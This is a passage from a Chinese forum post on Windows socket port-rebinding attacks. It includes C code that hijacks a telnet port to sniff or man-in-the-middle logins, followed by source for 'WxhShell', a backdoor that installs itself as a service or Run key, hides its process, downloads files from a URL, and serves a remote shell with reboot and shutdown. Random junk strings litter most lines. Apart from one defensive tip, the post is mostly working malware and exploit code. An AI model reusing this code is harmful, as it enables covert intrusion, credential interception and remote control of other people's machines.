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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NX5$x/uz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Oye6IT"  
$)eS Gslz  
  saddr.sin_family = AF_INET; @*roW{?!  
U4[GA4DZ   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1ozb tn  
#5=W[+4eN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q-7L,2TL  
i<(~J4}b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NwVhJdo  
F!fsW9  
  这意味着什么?意味着可以进行如下的攻击: BV6B:=E0  
6!se,SCvw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -ykD/  
=ea.+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^zW=s$\Fo  
=Qf{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?G<ISiABQC  
u@;e`-@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z+{xW7  
y\ })C-&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gT(8.<h8  
8Wo!NG:V5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1aZGt2;  
D"2bgw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +`iJ+  
((&5F!+\-  
  #include 1Ko4O)L]&  
  #include & WeN{  
  #include <'QI_mP*  
  #include    )}P/xY0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l&*= .Zc7!  
  int main() ^]D+H9Tl  
  { JLt%G^W >  
  WORD wVersionRequested; ^X?uAX-RP|  
  DWORD ret; :5F(,Z_  
  WSADATA wsaData; l"7#(a  
  BOOL val; ;XQ27,K&  
  SOCKADDR_IN saddr; !zsrORF{  
  SOCKADDR_IN scaddr; kZ PL$ \/A  
  int err; CvR-lKV<  
  SOCKET s; %@:6&  
  SOCKET sc; |+KwyHE`9  
  int caddsize; ?\)h2oi!F5  
  HANDLE mt; %E"v@  
  DWORD tid;   JL>frS3M  
  wVersionRequested = MAKEWORD( 2, 2 ); UZs'H"K  
  err = WSAStartup( wVersionRequested, &wsaData ); :>/6:c?atG  
  if ( err != 0 ) { CYlS8j  
  printf("error!WSAStartup failed!\n"); -$X4RS  
  return -1; f-634KuP  
  } >FKwFwT4D  
  saddr.sin_family = AF_INET;  fZ&' _  
   #WJ*)$A@&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (tX)r4VU  
LlS~J K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2[;~@n1P  
  saddr.sin_port = htons(23); ,p#r; O<O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o@7U4#E  
  { .wmqaLd%  
  printf("error!socket failed!\n"); !Qf*d;wxn(  
  return -1; N:okt)q:%  
  } cRuN;  
  val = TRUE; B,&QI&k`~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y=.bn!u}z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ##} 7cFX  
  { A2;6Vz=z  
  printf("error!setsockopt failed!\n"); hu1ZckIw?  
  return -1; rL&Mq}7QK  
  } 1/~=61msc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L`e19I$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^ g|VZN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~@)s)K  
!A1~{G2VL_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ? |#dGk g  
  { $PI9vyS  
  ret=GetLastError(); YRCs&tgs  
  printf("error!bind failed!\n"); + ~5P7dh6  
  return -1; n I&p.i6  
  } OScqf]H  
  listen(s,2); s2GF*{  
  while(1) x$bUd 9  
  { aL`wz !  
  caddsize = sizeof(scaddr); 7(oA(l1V  
  //接受连接请求 VX82n,'=t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KQvSeH>r  
  if(sc!=INVALID_SOCKET) ~**x_ v  
  { .Zj`_5C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {y a .  
  if(mt==NULL) pkae91  
  { 6}?d%K  
  printf("Thread Creat Failed!\n"); p:K%-^  
  break; 9X%: ){  
  } 0?( uqjD:  
  } > <Zu+HX  
  CloseHandle(mt); q5L^>"  
  } ? dHl'  
  closesocket(s); K!.t}s.t  
  WSACleanup(); q*|Alrm  
  return 0; EFljUT?&  
  }   K5|~iW'  
  DWORD WINAPI ClientThread(LPVOID lpParam) >Q!}tbg~9  
  { (ie%zrhS  
  SOCKET ss = (SOCKET)lpParam; -*MY7t3  
  SOCKET sc; jU7[z$GX  
  unsigned char buf[4096]; * Ogf6  
  SOCKADDR_IN saddr; ,a,2I  
  long num; )5LT!14  
  DWORD val; (3lA0e`Y  
  DWORD ret; oI[rxr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xVbRCu#Z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   80_w_i+  
  saddr.sin_family = AF_INET; * 4Ldh}S!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <+-n lK4  
  saddr.sin_port = htons(23); Hz."4nhv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )\ceanS  
  { 7=9>yba)^  
  printf("error!socket failed!\n"); Su"Z3gm5Kw  
  return -1; c9fz x  
  } ~/9RSdv7  
  val = 100; VOZxLyj^9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kHylg{i{"  
  { #IZh}*$  
  ret = GetLastError();  \20} /&  
  return -1; 0VSIyG_Z  
  } GT)7VFrL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @$n $f  
  { ;Tp9)UP)  
  ret = GetLastError(); `6J7c;:  
  return -1; X,_K )f  
  } /\# f@Sg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c6#E gN,X  
  { 2/fol TR7  
  printf("error!socket connect failed!\n"); U|xHy+N  
  closesocket(sc); h !K" ;qw  
  closesocket(ss); n#b{  
  return -1; k]5tU\;Yw  
  } $b1>,d'oz  
  while(1) V%PQlc.X  
  { RuIBOo\XL7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +cqUp6x.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q,@# cQBV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h!%y,4IBR  
  num = recv(ss,buf,4096,0); m2jts(stp  
  if(num>0) 2O Ur">_  
  send(sc,buf,num,0); R|M]mwa^w  
  else if(num==0) CvE^t#Bok  
  break; *c[w9(fU  
  num = recv(sc,buf,4096,0); R$hIgw+p[  
  if(num>0) (w)%2vZ^  
  send(ss,buf,num,0); y zp#  
  else if(num==0) x@Z{5w_a  
  break; #f24a?n|  
  } v$Fz^<Na  
  closesocket(ss); T`fT[BaY  
  closesocket(sc); anbw\yh8  
  return 0 ; \f? K74  
  } `| ?<KF164  
<I34@;R c  
U(y8nI]  
========================================================== W j^@Zq#  
I V# 8W  
下边附上一个代码,,WXhSHELL UtTlJb{-j  
x0J W  
========================================================== # euG$(  
pXO09L/nv  
#include "stdafx.h" ' Xj^cX  
4tLdqs  
#include <stdio.h> go AV+V7  
#include <string.h> 4~h 0/H"  
#include <windows.h> 6384$mT,S  
#include <winsock2.h> F+(S-Qk1  
#include <winsvc.h> .ZF%$H  
#include <urlmon.h> 3`%E;?2  
%'s_ =r`  
#pragma comment (lib, "Ws2_32.lib") CO@G%1#  
#pragma comment (lib, "urlmon.lib") .Ji9j[[#D  
AZc= Bbh  
#define MAX_USER   100 // 最大客户端连接数 d; YKw1  
#define BUF_SOCK   200 // sock buffer >9A18xC  
#define KEY_BUFF   255 // 输入 buffer F<g&t|@  
n]$rLm%^  
#define REBOOT     0   // 重启 6CHb\k  
#define SHUTDOWN   1   // 关机 }i"[5:  
GJcxqgk$  
#define DEF_PORT   5000 // 监听端口 XH~(=^/_  
 4bA^Gq  
#define REG_LEN     16   // 注册表键长度 /7#e  
#define SVC_LEN     80   // NT服务名长度 T^|k`  
w=;>  
// 从dll定义API "NLuAB. P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SgewAng?@o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .(q'7Q Z/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [?I<$f"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HP]5"ziA  
OS@uGp=  
// wxhshell配置信息 s2SV   
struct WSCFG { NT 5=%X]  
  int ws_port;         // 监听端口 ptT-{vG  
  char ws_passstr[REG_LEN]; // 口令 :Q("  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ue 9Y+'-x  
  char ws_regname[REG_LEN]; // 注册表键名 iKrk?B<  
  char ws_svcname[REG_LEN]; // 服务名 we`BqZV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #W)m({}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?g4Rk9<!i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;hDk gp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uxD3+Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a)pc+w#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _xCYh|DlQ|  
a($7J6]M  
}; KF+r25uy[+  
aUEr& $  
// default Wxhshell configuration AH&RabH2  
struct WSCFG wscfg={DEF_PORT, uthW AT &  
    "xuhuanlingzhe", r+C4<-dT  
    1, z8t;jw  
    "Wxhshell", %Hd[,duwO  
    "Wxhshell", Ez|NQ:o  
            "WxhShell Service", LEPLoF3,  
    "Wrsky Windows CmdShell Service", *4%pXm;  
    "Please Input Your Password: ", f EL 9J{  
  1, d%0Gsga}  
  "http://www.wrsky.com/wxhshell.exe", H~s8M  
  "Wxhshell.exe" G3^<l0?S  
    }; v2rO>NY4  
$aJ6i7C,j}  
// 消息定义模块 <{k{Coy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3f^Pr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Vu.=,G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vq(#Ih2  
char *msg_ws_ext="\n\rExit."; L#K`F8Wi=  
char *msg_ws_end="\n\rQuit."; vx($o9  
char *msg_ws_boot="\n\rReboot..."; XjL3Ar*  
char *msg_ws_poff="\n\rShutdown..."; &j1-Ouy  
char *msg_ws_down="\n\rSave to "; J1I,;WGf  
njxLeD e-  
char *msg_ws_err="\n\rErr!"; aBReIK o  
char *msg_ws_ok="\n\rOK!"; ?HPAX  
tlp,HxlP  
char ExeFile[MAX_PATH]; ZN)EbTpc\a  
int nUser = 0; G1jj:]1  
HANDLE handles[MAX_USER]; e&ysj:W5 "  
int OsIsNt; 46NuT]6/4  
o+=wQ$"tP  
SERVICE_STATUS       serviceStatus; o 7kg.w|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #&kj>   
Mw RLv,&"  
// 函数声明 *h0D,O"0  
int Install(void); ,uC-^T |n  
int Uninstall(void); Skci;4T(  
int DownloadFile(char *sURL, SOCKET wsh); 1}la)lC  
int Boot(int flag); 1Mp-)-e  
void HideProc(void); qA)YYg/G  
int GetOsVer(void); Sk+XBX(}  
int Wxhshell(SOCKET wsl); axUj3J>  
void TalkWithClient(void *cs); 1-E6ACq  
int CmdShell(SOCKET sock); r9{@e^Em  
int StartFromService(void); 2k<#e2  
int StartWxhshell(LPSTR lpCmdLine); 7OmT^jV2  
*tj(,:!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I{dy,\p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V4jMx[   
 cX C[O  
// 数据结构和表定义 .%n_{ab1  
SERVICE_TABLE_ENTRY DispatchTable[] =  ,==_u  
{ #<[&Lw  
{wscfg.ws_svcname, NTServiceMain}, !0?o3,of-  
{NULL, NULL} R]%"YQ V  
}; 7P3pjgh  
@U=y}vi8  
// 自我安装 #d,)Qe[  
int Install(void) ![K\)7iKo  
{ JS ^Cc  
  char svExeFile[MAX_PATH]; {p1`[R&n#  
  HKEY key; %dPk,Ylz  
  strcpy(svExeFile,ExeFile); &J2 UAmB  
/gF)msUF  
// 如果是win9x系统,修改注册表设为自启动 ^OQP;5 #K  
if(!OsIsNt) { (K=0c 6M3=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %]I#]jR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &zy%_U2%  
  RegCloseKey(key); fB9,# F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J' uaZI>'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {Ia1H  
  RegCloseKey(key); K' `qR  
  return 0; QnOgF3t  
    } k"cMAu.  
  } I[|Y 2i  
} QD!NV*  
else { 9dA+#;?  
?[ )}N _o#  
// 如果是NT以上系统,安装为系统服务 8d5#vm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hOk9y=  
if (schSCManager!=0) ,e'm@d$Q*  
{ <J+Oh\8tad  
  SC_HANDLE schService = CreateService rd0Fd+t/  
  (  CA igV$  
  schSCManager, ^/E'Rf3[A  
  wscfg.ws_svcname, t'eu>a1D  
  wscfg.ws_svcdisp, *O'|NQhNx>  
  SERVICE_ALL_ACCESS, K_L7a>Fr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $7AsMlq[(  
  SERVICE_AUTO_START, I1>f2/$z*  
  SERVICE_ERROR_NORMAL, Cydo~/  
  svExeFile, :Y/aT[  
  NULL, 3>VL>;75[  
  NULL, udUc&pX  
  NULL, |MGT8C&^!  
  NULL, 5r 4~vK  
  NULL 7I w^  
  ); ZPw4S2yw3.  
  if (schService!=0) TM6wjHFm  
  { 3_  J'+  
  CloseServiceHandle(schService); x`7Le&4f  
  CloseServiceHandle(schSCManager); X8Z) W?vu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]>)shH=Yx  
  strcat(svExeFile,wscfg.ws_svcname); l[[`-f8j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H][TH2H1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :MF`q.:X  
  RegCloseKey(key); `uPO+2  
  return 0; xL_QTj  
    } wry`2_c  
  } ."dT6uE  
  CloseServiceHandle(schSCManager); 9J7yR}2-F  
} 5(CInl  
} Td|,3 n  
BEb?jRMjLg  
return 1; i5le0lM  
} Jm CHwyUK?  
? 0X$ox  
// 自我卸载 d>F7i~W  
int Uninstall(void) ;/+<N  
{ geK;r0(f  
  HKEY key; !%R):^R8  
-'miM ~kG[  
if(!OsIsNt) { %_:L_VD@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  )XonFI  
  RegDeleteValue(key,wscfg.ws_regname); r&R~a9+)  
  RegCloseKey(key); NqF*hat  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KtAEM;g  
  RegDeleteValue(key,wscfg.ws_regname); [\Wl~ a l  
  RegCloseKey(key); moFrNcso  
  return 0; Zex~ $r  
  } g0biw?  
} fsOlg9  
} l,Q`;v5|  
else { 31^/9lb  
fIpS P@$<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Cw:|(`9  
if (schSCManager!=0) ~_;.ZZ-H]  
{ qmpT G:+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AoGpM,W]5  
  if (schService!=0) ?84f\<"  
  { ~H\P0G5GA  
  if(DeleteService(schService)!=0) { hb8oq3*x  
  CloseServiceHandle(schService); m $[:J  
  CloseServiceHandle(schSCManager); ? 3DFm  
  return 0; 5u9lKno  
  } ,Zie2I?q  
  CloseServiceHandle(schService); *j83E[(]  
  } W!ug^2"  
  CloseServiceHandle(schSCManager); r:o9:w:  
} hO> q|+mC  
} ~ a 2A"#f  
]v:,<=S  
return 1; TVvE0y(9  
} 9-j-nx @)  
0aR.ct%  
// 从指定url下载文件 .6[8$8c  
int DownloadFile(char *sURL, SOCKET wsh) .=}\yYGe   
{ )M7yj O!  
  HRESULT hr; Jityb}Z"  
char seps[]= "/"; OF1^_s;  
char *token; BIMX2.S1o  
char *file; dAG@'A\f  
char myURL[MAX_PATH]; a{7*um  
char myFILE[MAX_PATH]; + rB3\R"d  
tC1'IE-h  
strcpy(myURL,sURL); %Jl6e}!  
  token=strtok(myURL,seps); >N! Xey  
  while(token!=NULL) mgjcA5z  
  { gF9GU5T:  
    file=token; @+~URIG)  
  token=strtok(NULL,seps); [%LGiCU]  
  } `@\FpV[|P  
?-&k?I  
GetCurrentDirectory(MAX_PATH,myFILE); !4^Lv{1QZ  
strcat(myFILE, "\\"); Ye|gW=FUR  
strcat(myFILE, file); 0?FJ ~pu  
  send(wsh,myFILE,strlen(myFILE),0); G@D8 [  
send(wsh,"...",3,0); 8}[<3K%*g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &VU^d3gv~  
  if(hr==S_OK) ok,O/|E}?  
return 0; }@$CS5w  
else >nehyo:#  
return 1; ]c_lNHssmq  
~,F]~|U7l  
} C-49u<; ,  
gYh o$E  
// 系统电源模块 lgt&kdc%o  
int Boot(int flag) &9v8  
{ K ..Pn 17t  
  HANDLE hToken; :1t&>x=T  
  TOKEN_PRIVILEGES tkp; 3k_\ xQ  
@CR<&^s5V  
  if(OsIsNt) { K7x;/O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pj56,qd>s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); - ]We|{  
    tkp.PrivilegeCount = 1; }n^}%GB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _,F\%}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @ajdO/?(Y  
if(flag==REBOOT) { b-`P-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XOS^&;  
  return 0; Vd.XZ*}r*  
} KIuj;|!q  
else { k%-y \WM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "7(@I^'t6  
  return 0; wuCZz{c7  
} y4n~gTo(?  
  } pIm ]WNX(  
  else { w5-^Py  
if(flag==REBOOT) { ~ c~j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P-^-~/>n  
  return 0; Lo[;{A$u  
} /HqD4GDoug  
else { .d#Hh&jj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 92,@tNQQ}  
  return 0; (ux9"r^g;x  
} D][I#v h  
} f e6Op  
D@{m  
return 1; d`?EEO  
} us8ce+  
H- WNu+  
// win9x进程隐藏模块 l)KN5V  
void HideProc(void) GXv2B%i8  
{ h52+f  
Pa; *%7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /'v!{m  
  if ( hKernel != NULL ) `x L@%  
  { yYaYuf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )zP"Uuu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L^s?EqLXS  
    FreeLibrary(hKernel); F')E)tV  
  } \"yR[.Q?   
T sJ71  
return; /3"S_KE1@+  
} &7,/^ >">  
f .h$jyp(  
// 获取操作系统版本 BNJG-b|g^  
int GetOsVer(void) :w4H$+j  
{ _ -ec(w~/  
  OSVERSIONINFO winfo; gs@^u#O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k]TJL9Q  
  GetVersionEx(&winfo); eEmLl(Lb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l29AC}^  
  return 1; ?K.!^G  
  else 1Ji"z>H*  
  return 0; at3YL[,[Z  
} e [F33%  
Uzn  
// 客户端句柄模块 eLyIQoW  
int Wxhshell(SOCKET wsl) wDh&S{N  
{ w6B`_Z'f  
  SOCKET wsh; !wrAD"l*@  
  struct sockaddr_in client; 9I|Q`j?p`  
  DWORD myID; {#{nU NW  
Oo\~' I  
  while(nUser<MAX_USER) giN(wPgYP  
{ LR17ilaa'  
  int nSize=sizeof(client); +hWeN&A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [9p@uRE  
  if(wsh==INVALID_SOCKET) return 1; mL, {ZL ^  
l4^8$@;s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,6U=F#z  
if(handles[nUser]==0) "yXqf%CGE  
  closesocket(wsh); Y}x_ud,  
else zWdz9;=_  
  nUser++; okW'}@jD  
  } Pb :6nH=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =gB{(  
~1{~iB2G  
  return 0;  ~#z b  
} 0`WZ  
Y7yzM1?t  
// 关闭 socket J= DD/Gp  
void CloseIt(SOCKET wsh) ^A;ec h7I  
{ y|.dM.9V  
closesocket(wsh); qSVg.<+  
nUser--; `,wX&@sN  
ExitThread(0); l %xeM !}  
} 495(V(+5  
lU3Xd_v O  
// 客户端请求句柄 %x$mAOUv  
void TalkWithClient(void *cs) #+3I$ k  
{ ?Vr~~v"fg8  
]"1\z>Hg  
  SOCKET wsh=(SOCKET)cs; j)O8&[y=  
  char pwd[SVC_LEN]; `udZ =S"/L  
  char cmd[KEY_BUFF]; 3dI(gm6  
char chr[1];  PuU<  
int i,j; Z~7}  
xWty2/!h  
  while (nUser < MAX_USER) { xm<sH!,j  
uFi[50  
if(wscfg.ws_passstr) { y\[GS2nTX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '8Lc}-M4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p WKpc  
  //ZeroMemory(pwd,KEY_BUFF); &[}5yos r  
      i=0; YWa9|&m1  
  while(i<SVC_LEN) { nHF  
Jc9^Hyqu&  
  // 设置超时 $2*&\/;-E!  
  fd_set FdRead; SB!m&;Tb  
  struct timeval TimeOut; o&:n>:im  
  FD_ZERO(&FdRead); CQ%yki  
  FD_SET(wsh,&FdRead); > qIZ  
  TimeOut.tv_sec=8; KTu&R6|  
  TimeOut.tv_usec=0; a<V* )  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V-9z{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qS2]|7q?Tc  
l_*:StyR+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g.O? 1bebe  
  pwd=chr[0]; t!vlZNc  
  if(chr[0]==0xd || chr[0]==0xa) { o)6udRzBv  
  pwd=0; 8"S? Toqq  
  break; \U'TL_Ql  
  } 5'O.l$)y  
  i++; 7llEB*dSA  
    } }\\6"90g*  
4K*DEVS  
  // 如果是非法用户,关闭 socket ]z/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'Xzi$}E D  
} ^-7{{/  
nnO@$T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g|l|)T.s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +^.Q%b0Xx  
! J@pox-t  
while(1) { `<l|XPv  
,TxZ:f`"  
  ZeroMemory(cmd,KEY_BUFF); t]%! vXo  
kOuQR$9s  
      // 自动支持客户端 telnet标准   ^l/$ 13=  
  j=0; a'|Dm7'4t  
  while(j<KEY_BUFF) { UwxrYouv~@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6Bm2_B  
  cmd[j]=chr[0]; 84dej<   
  if(chr[0]==0xa || chr[0]==0xd) { pV))g e\  
  cmd[j]=0; 4.mbW  
  break; C(*)7| m  
  } A,s .<TG  
  j++; T)B1V,2j=  
    } 8M'6Kcr  
{ e %  
  // 下载文件 l+V5dZ8W  
  if(strstr(cmd,"http://")) { eDSBs3k7H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jid:$T>  
  if(DownloadFile(cmd,wsh)) 5{|\h}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $pGk%8l%  
  else wen6"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {n%U2LVL  
  } $yb8..+  
  else {  goT:\2  
JZ=a3)x"  
    switch(cmd[0]) { H{T)?J~  
  dfq5P!'  
  // 帮助 Gu_Rf&:  
  case '?': { 0IM#T=V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !kfnqe?|  
    break; [}_ar  
  } {\e wf_pFk  
  // 安装 g)iSC?H  
  case 'i': { !f\6=Z?>3  
    if(Install()) DEC,oX!bI1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yMa5?]J  
    else 3?uP$(l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T't^pO-`  
    break; v+=_  
    } J=U7m@))Y#  
  // 卸载 Q$9`QY*6"p  
  case 'r': { p8^^Pva/  
    if(Uninstall()) HnqZ7%jeN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }J$PO*Q@'  
    else qO9_ e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <`9:hPp0  
    break; \rf1#Em  
    } c(AjM9s  
  // 显示 wxhshell 所在路径 &4DV]9+g  
  case 'p': { h OboM3_  
    char svExeFile[MAX_PATH]; qwaw\vOA  
    strcpy(svExeFile,"\n\r"); 4p~:(U[q  
      strcat(svExeFile,ExeFile); L4;n$=e  
        send(wsh,svExeFile,strlen(svExeFile),0); 2s6Hr;^w.1  
    break; {_/6,22j(V  
    } I>-jKSkwc  
  // 重启 ( |5g`JDG  
  case 'b': { q#Qr@Jf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GW{Nc !)  
    if(Boot(REBOOT)) Gf'V68,l$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xI~\15PhG  
    else { ZcO!cR&*'J  
    closesocket(wsh); hoeTJ/;dm  
    ExitThread(0); <ZrZSt+<  
    } W^+b gg<.  
    break; =8dCk\/  
    } R4JO)<'K&  
  // 关机 l>&)_:\  
  case 'd': { {YbqB6zaM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M3F8@|2  
    if(Boot(SHUTDOWN)) w-CuO4P  
